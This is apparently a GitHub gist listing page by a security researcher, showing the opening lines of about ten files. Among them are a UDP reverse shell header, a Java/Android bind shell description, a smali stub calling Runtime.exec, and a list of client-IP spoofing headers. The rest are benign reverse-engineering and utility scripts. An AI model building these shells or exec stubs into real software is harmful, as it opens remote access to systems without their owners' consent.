This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// UDP reverse shell | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <arpa/inet.h> | |
#include <ctype.h> | |
#define SERVER_IP "192.168.1.x" | |
#define SERVER_PORT 45100 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Check if squashfs-tools is installed | |
if ! command -v unsquashfs &> /dev/null || ! command -v mksquashfs &> /dev/null; then | |
echo "squashfs-tools not found. Please install squashfs-tools (e.g., sudo apt install squashfs-tools)." | |
exit 1 | |
fi | |
# Check if an argument (the SquashFS file) was provided | |
if [ "$#" -ne 1 ]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Author: Sean Pesce | |
-- References: | |
-- https://lua-users.org/wiki/HexDump | |
-- https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Tvb.html | |
function hex_dump(buf, print_addrs) | |
if print_addrs == nil then | |
print_addrs = false | |
end | |
local result = "" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Author: Sean Pesce | |
# | |
# Obtain AWS Cognito user identity ID and credentials | |
import argparse | |
import getpass | |
import json | |
import os | |
import requests |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.method static constructor <clinit>()V | |
.locals 5 | |
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime; | |
move-result-object v0 | |
const/4 v1, 3 | |
new-array v2, v1, [Ljava/lang/String; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Author: Sean Pesce | |
// | |
// This bind shell implementation is compatible with both standard Java and the Android SDK. | |
// By default, it listens in a new thread, on TCP port 45100, and on all network interfaces. | |
// | |
// Start the listener with default parameters like so: | |
// new BindShellTcp().start(); | |
package com.seanpesce.shell; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Akamai-Client-Ip | |
CACHE_INFO | |
CF_CONNECTING_IP | |
CF-Connecting-IP | |
CLIENT_IP | |
Client-IP | |
COMING_FROM | |
CONNECT_VIA_IP | |
FORWARD_FOR | |
FORWARD-FOR |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Author: Sean Pesce | |
// | |
// Manual implementations of the CONCAT operations produced by the Ghidra decompiler. | |
// These definitions are helpful for compiling re-implementations of native code using | |
// decompiler output (e.g., with gcc). | |
// | |
// Note that these implementations would be outperformed by minimal C preprocessor macros | |
// that replicate the same logic. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Author: Sean Pesce | |
import json | |
import sys | |
def json_convert_utf8_to_ascii_file(in_fpath, out_fpath, include_encoding=False): | |
b = b'' | |
with open(in_fpath, 'rb') as f: | |
b = f.read() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Author: Sean Pesce | |
# Installing prerequisites: | |
# sudo pip3 install pyusb | |
# | |
# On Windows, you also need to install libusb: | |
# https://sourceforge.net/projects/libusb-win32/files/libusb-win32-releases/ | |
# Then, use inf-wizard.exe to create and install a libusb driver for the device. | |
# Note: this requires installation of an unsigned driver. |
NewerOlder